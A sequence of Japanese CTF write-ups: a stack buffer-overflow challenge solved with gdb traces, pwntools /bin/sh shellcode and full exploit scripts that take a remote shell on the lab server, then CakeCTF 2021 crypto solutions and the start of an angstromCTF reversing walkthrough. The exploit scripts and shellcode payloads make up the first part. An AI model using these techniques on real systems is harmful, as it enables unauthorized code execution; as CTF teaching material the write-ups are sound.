Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdf78 → "aaaaaaaaaaaa"
$rbp : 0x6161616161616161 ("aaaaaaaa"?)
$rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a
$rdi : 0x1
$rip : 0x00005555555551f5 → <main+144> ret
$r8 : 0x64
$r9 : 0x0
$r10 : 0x0
$r11 : 0x246
$r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe050 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: "aaaaaaaaaaaa" ← $rsp
0x00007fffffffdf80│+0x0008: 0x0000000061616161 ("aaaa"?)
0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf90│+0x0018: 0x0000000100000000
0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0x2234441e2d4d2060
0x00007fffffffdfb0│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555551ea <main+133> call 0x555555555030 <puts@plt>
0x5555555551ef <main+138> mov eax, 0x0
0x5555555551f4 <main+143> leave
→ 0x5555555551f5 <main+144> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x00005555555551f5 in main ()
またmain終了直前で止まりましたが、今度はcode:x86:64に[!] Cannot disassemble from $PCが表示されています。
それもそのはずで、先ほど説明したret命令に従うと、次に実行すべきはstackの先頭アドレス0x00007fffffffdf78に格納されているアドレス0x6161616161616161(="aaaaaaaa")の中身になります。
こんなところには普通命令が入っていない(場合によってはアクセスできない)のでエラー終了となります。
いわゆるBuffer Overflowというやつです。
ここまでをまとめると、targetのアドレス0x00007fffffffdf20にscanfの結果が格納される。ただしstackの先頭0x00007fffffffdf78以降を書き換えるほど長い入力(89文字以上)だとSegmentation Fault です。
シェルコード
では何をすればいいでしょうか？
タイトルにもある通り、ここでは89文字目以降に/bin/shを起動するシェルコードを注入してリモートサーバを乗っ取ろうと思います。
pwntoolsに64ビットELF用のシェルコードがあるのでそれを利用します。
ちなみにシェルコードと、それに対応する命令はこちら。内容は理解不要です。
#!/usr/bin/python3 from pwn import * # デフォルトはi386(32ビット)用のシェルコード表示になるので、amd64(64ビット)用に変更 context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.sh()) print(shellcode) # b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' print(disasm(shellcode)) # 0: 6a 68 push 0x68 # 2: 48 b8 2f 62 69 6e 2f movabs rax, 0x732f2f2f6e69622f # 9: 2f 2f 73 # c: 50 push rax # d: 48 89 e7 mov rdi, rsp # 10: 68 72 69 01 01 push 0x1016972 # 15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 # 1c: 31 f6 xor esi, esi # 1e: 56 push rsi # 1f: 6a 08 push 0x8 # 21: 5e pop rsi # 22: 48 01 e6 add rsi, rsp # 25: 56 push rsi # 26: 48 89 e6 mov rsi, rsp # 29: 31 d2 xor edx, edx # 2b: 6a 3b push 0x3b # 2d: 58 pop rax # 2e: 0f 05 syscall
シェルコード部分の前半がASCIIで表示できるものが多いですが、ASCIIで表さない場合、\x6a\x68\x48\xb8\x2f\x62\x69\x6e...のようになっています。
さて、乗っ取りのイメージとしては、先ほど短い文字列を入力した時のstackの状態
0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax ← $rsp 0x00007fffffffdf80│+0x0008: 0x0000002000000000 0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 0x00007fffffffdf90│+0x0018: 0x0000000100000000 0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp ...
だと、従来の挙動である「アドレス0x00007ffff7a03bf7にジャンプ→__libc_start_main+231を実行」という流れでした。これを
0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80 → 0x6e69622fb848686a ← $rsp 0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a (シェルコード部分) ...
と書き換えて、「アドレス0x00007fffffffdf80にジャンプ→そのアドレスの中身であるシェルコード\x6a\x68\x48\xb8\x2f\x62\x69\x6e...を実行」という流れになっていればOKになります。
このアドレス0x00007fffffffdf80がtargetのアドレス+0x60であるに注意して、payloadとしては「"A"*88 + (targetのアドレス + 0x60) + シェルコード」となります。
gdbで確認
上のシェルコードには非ASCIIが含まれているので、まずはgdb上のscanfで非ASCIIの標準入力ができるようにgdb_inputファイル作成。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' target_addr = 0x7fffffffdf20 shellcode_addr = target_addr + 0x60 shellcode = asm(shellcraft.amd64.linux.sh()) payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode with open('./gdb_input', 'wb') as f: f.write(payload)
それではgdb起動。いつもと違うのは、rで最初の実行をする際にgdb_inputをリダイレクトします。
これでscanf呼び出し時にgdb_inputの内容が読み込まれます。
main関数の最後にブレークポイントを張っておきます。場所がわからなくなったらdisas mainで確認しましょう。
$ gdb -q ./shellcode
gef➤ b *main+144
Breakpoint 1 at 0x11f5
gef➤ r < gdb_input
|
target | [0x7fffffffdf20]
|
Well. Ready for the shellcode?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdf78 → 0x00007fffffffdf80 → 0x6e69622fb848686a
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a
$rdi : 0x1
$rip : 0x00005555555551f5 → <main+144> ret
$r8 : 0x5e
$r9 : 0x0
$r10 : 0x0
$r11 : 0x246
$r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe050 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80 → 0x6e69622fb848686a ← $rsp
0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a
0x00007fffffffdf88│+0x0010: 0xe7894850732f2f2f
0x00007fffffffdf90│+0x0018: 0x2434810101697268
0x00007fffffffdf98│+0x0020: 0x6a56f63101010101
0x00007fffffffdfa0│+0x0028: 0x894856e601485e08
0x00007fffffffdfa8│+0x0030: 0x050f583b6ad231e6
0x00007fffffffdfb0│+0x0038: 0x0000555555555000 → <_init+0> sub rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555551ea <main+133> call 0x555555555030 <puts@plt>
0x5555555551ef <main+138> mov eax, 0x0
0x5555555551f4 <main+143> leave
→ 0x5555555551f5 <main+144> ret
↳ 0x7fffffffdf80 push 0x68
0x7fffffffdf82 movabs rax, 0x732f2f2f6e69622f
0x7fffffffdf8c push rax
0x7fffffffdf8d mov rdi, rsp
0x7fffffffdf90 push 0x1016972
0x7fffffffdf95 xor DWORD PTR [rsp], 0x1010101
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00005555555551f5 in main ()
"a"を100回入力した時にcode:x86:64で発生していた[!] Cannot disassemble from $PCもないですし、stackの部分にシェルコードを埋め込めたことになります。
(なお、このままコマンドcで最後まで動かしてもgdb上なのでシェルは立ち上がりません)
エクスプロイトコード
先にも書きましたが、payload自体は「"A"*88 + (targetのアドレス + 0x60) + シェルコード」となります。
gdbでデバッグしている際はtargetのアドレスが0x00007fffffffdf20で固定でしたが、リモートサーバ上ではアドレスは毎回変わります。
なのでこちらも2問目と同じようにpwntoolsで抜き出してしまいましょう。exploit.pyは以下のようになります。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' conn = remote('10.1.1.10', 13050) # targetアドレス直前までの出力取得 conn.recvuntil(b'[') # targetアドレス target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16) shellcode_addr = target_addr + 0x60 shellcode = asm(shellcraft.amd64.linux.sh()) payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode conn.recvuntil(b'> ') conn.sendline(payload) # リモートサーバのシェル取得 conn.interactive()
これを実行するとこんな感じ。あとはflagのある位置(だいたいhome/userあたりが多い)を探しましょう。
$ python3 ./exploit.py
[+] Opening connection to 10.1.1.10 on port 13050: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x87\x15\x7f
$ whoami
user
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd /home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
別解
この解法だと、scanfで格納される0x00007fffffffdf20以降のアドレスは以下のように使われています。
gef➤ tel 0x00007fffffffdf20 15 0x00007fffffffdf20│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf28│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf30│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf38│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf40│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf48│+0x0028: 0x4141414141414141 0x00007fffffffdf50│+0x0030: 0x4141414141414141 0x00007fffffffdf58│+0x0038: 0x4141414141414141 0x00007fffffffdf60│+0x0040: 0x4141414141414141 0x00007fffffffdf68│+0x0048: 0x4141414141414141 0x00007fffffffdf70│+0x0050: 0x4141414141414141 0x00007fffffffdf78│+0x0058: 0x00007fffffffdf80 → 0x6e69622fb848686a (ジャンプ先として指定するアドレスはここの直後) 0x00007fffffffdf80│+0x0060: 0x6e69622fb848686a (ここからシェルコード) 0x00007fffffffdf88│+0x0068: 0xe7894850732f2f2f 0x00007fffffffdf90│+0x0070: 0x2434810101697268 ...
では、こうアドレスを使っても解けるのでは？
0x00007fffffffdf20│+0x0000: 0x6e69622fb848686a (ここにシェルコード) 0x00007fffffffdf28│+0x0008: 0xe7894850732f2f2f 0x00007fffffffdf30│+0x0010: 0x2434810101697268 0x00007fffffffdf38│+0x0018: 0x6a56f63101010101 0x00007fffffffdf40│+0x0020: 0x894856e601485e08 0x00007fffffffdf48│+0x0028: 0x050f583b6ad231e6 0x00007fffffffdf50│+0x0030: 0x0000000000000000 0x00007fffffffdf58│+0x0038: 0x0000000000000000 0x00007fffffffdf60│+0x0040: 0x0000000000000000 0x00007fffffffdf68│+0x0048: 0x0000000000000000 0x00007fffffffdf70│+0x0050: 0x0000000000000000 0x00007fffffffdf78│+0x0058: 0x00007fffffffdf20 → 0x6e69622fb848686a (ジャンプ先として指定するアドレスは`target`そのもの)
もちろん解けます。この場合のソルバは以下のようになります。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' conn = remote('10.1.1.10', 13050) conn.recvuntil(b'[') target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16) shellcode = asm(shellcraft.amd64.linux.sh()) # シェルコードが88バイト未満なのでゼロでパディング payload = shellcode + b'\x00' * (88-len(shellcode)) + target_addr.to_bytes(8, 'little') conn.recvuntil(b'> ') conn.sendline(payload) conn.interactive()
CakeCTF 2021 Writeup+感想
はじめに
ふるつきさん、yoshikingさん、ptr-yudaiさんの最強CTFerらによって開催されたCakeCTFにチームKUDoSとして参加しました。
自分はParty Ticket以外のcrypto4問を解き、全体としては結果は157チーム中6位でした。
最後のcrypto解いても順位変わんなかったから責任逃れできる
いつものように冗長writeup書こうかなとも思ったんですが、4問+αも書くモチベを維持できる気がしないのでflagに至るまでの脳内思考回路を振り返りつつ、ちょっとした感想を付け加えようかなと思います。
なお、自分が解くのにかかった時間を書いていますが、自分は念入りにデバッグしながらコーディングするタイプの人間なのでめちゃくちゃ遅いです。
他の問題と比較して難易度を見やすくするくらいの心持ちでお願いします。
問題一式はGitHubに置いておきます。
discrete log - 129pts (crypto, warmup, 所要時間25分)
People conclude discrete log is hard problem up to now.
from Crypto.Util.number import getPrime, isPrime, getRandomRange def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q with open("flag.txt", "rb") as f: flag = f.read().strip() p = getSafePrime(512) g = getRandomRange(2, p) r = getRandomRange(2, p) cs = [] for m in flag: cs.append(pow(g, r*m, p)) print(p) print(g) print(cs)
概要
\begin{align} G^{rm_1} \equiv C_1 \ {\rm mod} \ P \\ G^{rm_2} \equiv C_2 \ {\rm mod} \ P \\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ G^{rm_N} \equiv C_{N} \ {\rm mod} \ P \end{align}
大文字は既知で、$ m_i$を求めよという問題。
また$ N$はflagの長さ41で、$ m_i$は0から127までのいずれかです1。
簡易writeup
タイトルにもある離散対数問題は基本的に解けないです。
今回はflagフォーマットがCakeCTF{...}なので、8文字目と41文字目2がそれぞれ123と125とわかります。
この2つを取り出すと
\begin{align} G^{123r} \equiv C_8 \ {\rm mod} \ P \\ G^ {125r} \equiv C_{41} \ {\rm mod} \ P \end{align}
$ x$に対して$ xx^{-1} \equiv \ {\rm mod} \ P$となるモジュラ逆数$ x^{-1}$を考えると、
\begin{align} G^{-123r} \equiv C_8^{-1} \ {\rm mod} \ P \\ G^ {125r} \equiv C_{41} \ {\rm mod} \ P \end{align}
これらを乗算して
$$ G^ {2r} \equiv C_8^{-1} \cdot C_{41} \ {\rm mod} \ P $$
$ P$が4で割って3余る素数なので、$ x^{2} \equiv A \ {\rm mod} \ P$なる平方根$ x$は$x = \pm A^{(P + 1)/4}$で計算できます3。
以下は見やすさのためにあえて1/2乗の書き方をします。
$$ G^ {r} \equiv \left(C_8^{-1} \cdot C_{41}\right)^{1/2} \ {\rm mod} \ P $$
ここまでくれば、$ r$そのものを計算できなくても$ 1, G^{r}, G^{2r}, \cdots , G^{127r}$までが計算できるのでどれが$ C_i$に一致するかを確認するだけでOKです。
注意すべきは平方根は2つ存在することですかね。
ソルバはGitHubにあげるのでそちらを見てください。
感想
特に詰まることはなかったです。
何故か$ p$が4で割ると3余る条件を見落としていたせいで
「平方根求めるのにTonelli-Shanks使わないとしんどくない？Pythonで実装するか、まさかの初手からSage？」
となっていて、最初に解き切った時の感想としては初心者にこれをwarmupとして課すのはいささか鬼だなとは思ってました。
自分的に難易度は(当然)easyでしっかりwarmupだったかなという印象です。
improvisation - 161pts (crypto, 所要時間3時間)
I tried improvisation on making an easy crypto challenge :P
import random def LFSR(): r = random.randrange(1 << 64) while True: yield r & 1 b = (r & 1) ^\ ((r & 2) >> 1) ^\ ((r & 8) >> 3) ^\ ((r & 16) >> 4) r = (r >> 1) | (b << 63) if __name__ == '__main__': with open("flag.txt", "rb") as f: flag = f.read() assert flag.startswith(b'CakeCTF{') m = int.from_bytes(flag, 'little') lfsr = LFSR() c = 0 while m: c = (c << 1) | ((m & 1) ^ next(lfsr)) m >>= 1 print(hex(c))
概要
\begin{align} m_1 \oplus \ r_1 = C_1\\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ m_N \oplus \ r_N = C_N\\ r_1 \oplus r_2 \oplus r_4 \oplus r_5 = r_{65} \\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ r_{N-64} \oplus r_{N-63} \oplus r_{N-61} \oplus r_{N-60} = r_{N} \end{align}
大文字は既知で、$ m_i$を求めよという問題。
$ N$はflagのビット数300で4、$ m_i, r_i, C_i$は0か1のいずれかです。
また、少し$ m $と$ C $のインデックスの定義が(上のような書き方をしてしまったせいで)特殊になりますが、書くのが面倒なので 割愛。
簡易writeup
flagの先頭がCakeCTF{なので$ m_1$から$ m_{64}$まですぐ分かります。
なので、
\begin{align} m_1 \oplus \ C_1 = r_1\\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ m_{64} \oplus \ C_{64} = r_{64} \end{align}
から$ r_1$から$ r_{64}$までもすぐに求まり、
\begin{align} r_1 \oplus r_2 \oplus r_4 \oplus r_5 = r_{65} \\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ r_{N-64} \oplus r_{N-63} \oplus r_{N-61} \oplus r_{N-60} = r_{N} \end{align}
から残りの$r_{65}$以降も全て計算可能です。あとは
\begin{align} C_{65} \oplus \ r_{65} = m_{65}\\ \ \ \ \ \ \ \ \ ...\ \ \ \ \ \ \\ C_N \oplus \ r_N = m_N \end{align}
として全ての$ m_i$を復元可能です。やってることはこれだけ。
感想
「やってることはこれだけ」と言いつつ、思ったより時間取られました。理論上はスラスラいけてましたが、全ては$ m $と$ C $のインデックスをややこしく定義してしまった皺寄せがコーディングに来ました。
リトルエンディアンなのかビッグエンディアンなのか、LSBからとるのかMSBからとるのかで混乱しコーディング最弱マンには辛い作業。
この問題に限りflag = f.read()と、末尾にstrip()がついていないので改行が取り除かれません。
このせいで、flagの末尾は}だと思っていたら実は\nだったなんていうトンデモな罠に引っかかりました。
これで1時間溶かしています。なので実質2時間といったところ
また、最初はflagの末尾側から暗号化していくと思っていたので、$ r_{64} $までは非自明だからz3に解かせる系かなぁとも考えていました。
あとはLFSRとか完全に忘却の彼方にあって懐かしいなあと思ったり。
特に難しい知識は要求されないし、ちゃんとコーディングできるかだけですね。自分的に難易度はeasy。
Together as one - 200pts (crypto, lunatic, 所要時間2.5時間)
Stay safe everyone!!!
from Crypto.Util.number import getStrongPrime, bytes_to_long p = getStrongPrime(512) q = getStrongPrime(512) r = getStrongPrime(512) n = p*q*r x = pow(p + q, r, n) y = pow(p + q*r, r, n) m = bytes_to_long(open("./flag.txt", "rb").read()) assert m.bit_length() > 512 c = pow(m, 0x10001, n) print(f"{n = :#x}") print(f"{c = :#x}") print(f"{x = :#x}") print(f"{y = :#x}")
概要
大文字は既知で、$ m $を求めよという問題。
最後の行はただのRSAなので実質$ p, q, r $を求めれば十分です。
簡易writeup
二項展開から
$$ (p+q)^{r} = p^{r} + \ _rC_1p^{r-1}q + \cdots + \ _{r}C_{r-1} pq^{r-1} + q^{r} $$
で、右辺の最初と最後の項以外は$ N = pqr$の倍数となるので5
同様に
これらから
$$ Y-X \equiv q^{r} ( r^{r} - 1 ) \ {\rm mod} \ N $$
よって$ Y-X = q^{r} ( r^{r} - 1 ) + kN $と書け、これは$ q $の倍数となります。
なので$ q $の倍数である$ N $と$ Y-X $との最大公約数を考えれば$ q $が見つかります。
以下は全て$ {\rm mod} \ r$で考え、$ q $が判明しているので大文字で表記します。
Fermatの小定理から、$ r $の倍数ではない任意の$ a $に対して$ a^{r} \equiv a \ {\rm mod} \ r$となるので
$$ X \equiv p+Q \ {\rm mod} \ r $$
です(わからなくなったら二項展開して余分な項を消すと良いです)。同様にして
$$ Y \equiv p \ {\rm mod} \ r $$
これらから
$$ X-Y \equiv Q \ {\rm mod} \ r $$
よって$ X-Y-Q = kr $と書け、これは当然$ r $の倍数となります。
また、$ N, Q $がわかっているので当然$ pr $も計算可能で、これと先程の$X-Y-Q$との最大公約数を考えることで$ r $が求まります。
$ p, q, r $が全てわかれば、あとは$ \phi = (p-1)(q-1)(r-1) $として$ 65537d \equiv 1 \ {\rm mod} \ \phi$なる $ d $を求め、
$$ m = C^{d} \ {\rm mod} \ N $$
で復号可能です。
感想
他の人も評価しているように、シンプルな問題設定でここまでsolve数を絞るのはすごいと思います。
$ q $はすぐ求まりましたがここから結構苦戦しました。自分の思いついた方針としては
上の$ Y \equiv p \ {\rm mod} \ r $ という式と$ pr = N/Q $から$ p, r $が求まるのでは？
ひたすら$ {\rm mod} \ pr$ で考える
$ p, r $が求まらなくとも$\phi$が求まればよく、Eulerの定理から
$$ a^{pr-p-r+1} \equiv 1 \ {\rm mod} \ pr $$
で、$ p + r $や $ a^{p+r}$などが求まれば…
などと考えていました。
こういった感じのアプローチが複数思いつく問題はやりがいがありますね。
ただ、解いてしまっていうのもアレですが、(あとsolve数的に)lunaticは言い過ぎかなと…
気づくまでに時間がかかる系の問題で、個人的にはhardくらいでいいのではと思っています。
なお、解いている時は(というか解けたので)「シンプルなのにこの難易度は一周回って感動してる」となってました。
難易度lunatic表記もあってか、これ以上難しい問題はないだろうしCTF内での最優秀問の候補だろうと思ってましたが、この時はまだ真の絶望を知りませんでした…
Matrix Cipher - 239pts (crypto, 所要時間6時間)
Flag is multiplied and noised, then what should you do ...?
with open("flag.txt", "rb") as f: flag = list(f.read().strip()) def hadamard(M): d = M.determinant() x = 1.0 for row in M: x *= row.norm() return (d / x) ** (1.0/M.ncols()) def keygen(n, d): k = int(floor(sqrt(n) * d)) while True: R = k * Matrix.identity(ZZ, n) + random_matrix(ZZ, n, n, x=-d, y=d) if hadamard(R) >= 0.7: break B = R while True: U = random_matrix(ZZ, n, n, algorithm="unimodular") B = U * B if hadamard(B) <= 0.2: break return B, R def encrypt(B, m): assert B.nrows() == len(m) return vector(ZZ, m) * B + random_vector(ZZ, len(m), x=-50, y=50) B, R = keygen(len(flag), 100) c = encrypt(B, flag) print(list(B)) print(c)
概要
大文字は既知で、$ m_i$を求めよという問題(転置使った方が見やすかったかもしれませんが一応これで)。
また$ N$はflagの長さ46で、$ m_i$は0から127までのいずれか、$ e_i$は-50から50までのいずれかです。
簡易writeup
ソルバはGitHub見て、というスタイルで書いているのでコーディングに関することを省略すると、ここで言えるのはただ一言ですね。
LWE知ってる？？？？
この系統の問題をCVP(Closest Vector Problem)と扱う宗派の人もいるかもしれませんが、いずれにせよこのあたりのジャンル(格子、Latticeと言います)を知らなかったら解けない気がします。
ちなみに補足しておくと、LWE(Learning With Errors)は厳密には
です。素数$ q $のモジュラが追加されます。
ちなみに自分は「LWE CTF Writeup」とググって出てきた博多市さんのWriteupを参考にしました。
感想
まず言い訳をすると、時間がかかったのは朝5時からやり始めたのと、自分がLatticeに異常なまでの苦手意識を持っているからです。
最初プロトタイプで動かした時に全然違う答えが返ってきて、もしやhadaramd周りのフィルタに引っかかってるのでは？などと色々疑ったりしました。
まぁ解けてよかったです。マジで。余計Lattice嫌いを助長して負の連鎖に陥るところでした。
あと、(わかる人からすれば)すぐLWEに酷似していると見抜けて方針が立つので、運営チェックでよくOKでたなと思いますね。
まぁ見抜けたところで難しいには変わりない(solve数が物語っている)し、これ以上捻られると自分も苦しいんですが…
過去のLattice問のWriteup見て分かった 気になっている ので、個人的にはいい機会だと思いました。
難易度はそもそもLatticeという点も加味してやっぱりhardかなと。
Party Ticket - 256pts (crypto, 所要時間不明(12時間？))
Komachi is going to invite Moe and Lulu to the party. But... she is shy and she encrypted the invitations. Nanado's secret mission is to decrypt these tickets so Komachi won't get lonely.
from Crypto.Util.number import getPrime, isPrime from hashlib import sha512 import random def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q def make_inivitation(): with open("flag.txt", "rb") as f: flag = f.read().strip() m = int.from_bytes(flag + sha512(flag).digest(), "big") p = getSafePrime(512) q = getSafePrime(512) n = p * q assert m < n b = random.randint(2, n-1) c = m*(m + b) % n return c, n, b # print("Dear Moe:") print(make_inivitation()) # print("Dear Lulu:") print(make_inivitation())
簡易writeup
公式からどうぞ。自分は解いたわけではないのでリスペクトの意も込めて。
感想
Ticket受け取れず
諸悪の根源
Party Ticket被害者の会
作問者を許すな
Komachiも許すな
こんるる
今年度最良問題
以上です。ニコニコ動画に突如表示される赤文字も顔負けの怒涛のコメントラッシュ。
以下思考回路ですが、
Rabin暗号にも気づいていた
だから2回
make_invitaionが呼ばれているのも理解していたCRT(中国人剰余定理)などから絞っていくと踏んでいた
2回呼び出しするなら$ N_1N_2 $と同じくらい(2048 bits)の$ m $にするほうが自然なのに、その半分の長さしかない
だから近似使うのでは？末尾にSHA-2でハッシュ化したものがついているのはそのためか？
$ e=2 $だからLow Public Exponent Attackか？
などと色々考え抜いた末に爆発四散。対あり。
(Generalized) Håstad's Broadcast Attackに思い至らなかったのが全ての敗因ですね。
Together as oneの「このCTF内最優秀問題」なんて比じゃないレベルで、これが一気に今年度最優秀問題に決定しました。
おわりに
運営の御三方ありがとうございました。SECCON Beginners以来フルタイムで参加した大会になりました。CTF終了直後にTwitterが阿鼻叫喚TLになるくらい面白い大会だったと思います。というか作問スキルも高いって何？ cryptoは全て配布コードが短くて、それだけでもう印象最高です。
ここから関係ない話ですが、普段そこまでCTFやらない6同期がsetodaNoteCTFに参加しています。同じCTFerとして嬉しい限りです。期間が長いのとそこまで難しいわけではない(?)初心者向けらしいですね。まだ5日くらいあるらしいですので良ければ、という宣伝でした。
なお、自分は参加してないですがCTF初心者です7。死ぬまで言い続けます。参加しているみんな頑張って…！
ångstrom CTF 2021 writeup
はじめに
取り急ぎcryptoのThunderboltだけ書きます。
初心者向けの問題も数多くあるので、そちらに関しては別途、より詳細に(本当の初心者向けに)書きます。
Thunderbolt
リード文はなし。challというファイルのみが与えられます。GitHubにあげる予定です。まずはサーバに接続してみます。
$ nc crypto.2021.chall.actf.co 21603 Enter a string to encrypt:
適当に入力すると、暗号化されたものが返ってきて終了します。
$ nc crypto.2021.chall.actf.co 21603 Enter a string to encrypt: 123 754e7a660e985cdd02b93048ea48a3a63d87957f98c5b16c946532b8ac7c8139fd69dc4213cab549612f3907c80cd10c7c88ffdcd6f30ddfe15c $ nc crypto.2021.chall.actf.co 21603 Enter a string to encrypt: 123 b20471de14ce8d195a47d8e664f87e2bddd265e97b1da3e04390008f27808d86a1f8e6229afaff738def39de46c68bb3b1504df7992d69708526
さすがにランダムです。では実行ファイルの方を覗きます。
自分はファイル名をthunderbolt_challにしています。皆さんは適宜読み替えてください。
$ file ./thunderbolt_chall ./thunderbolt_chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=20796fc93de5d7a1f441ff3f2900fc75f1ddf2ea, for GNU/Linux 3.2.0, not stripped
ELFファイルなのでgdbで動的解析することになりそうです。ちなみに、あまりバイナリは得意ではないのでチームメイトに色々と指南をいただきました。
あと、せっかくなのでghidraのデコンパイラも使ってみようと思います。最初はあまり役に立たないかなと思っていましたが、結果的にめちゃくちゃ便利でした。笑
導入方法はGhidraの使い方 | 初心者がリバースエンジニアリングツールGhidraを使ってみたからどうぞ。
ghidra起動～main関数解析
$ objdump -d ./thunderbolt_challでも分かりますが、main関数は.textのセクションにあるので、左のProgram Treesから.textをダブルクリック。
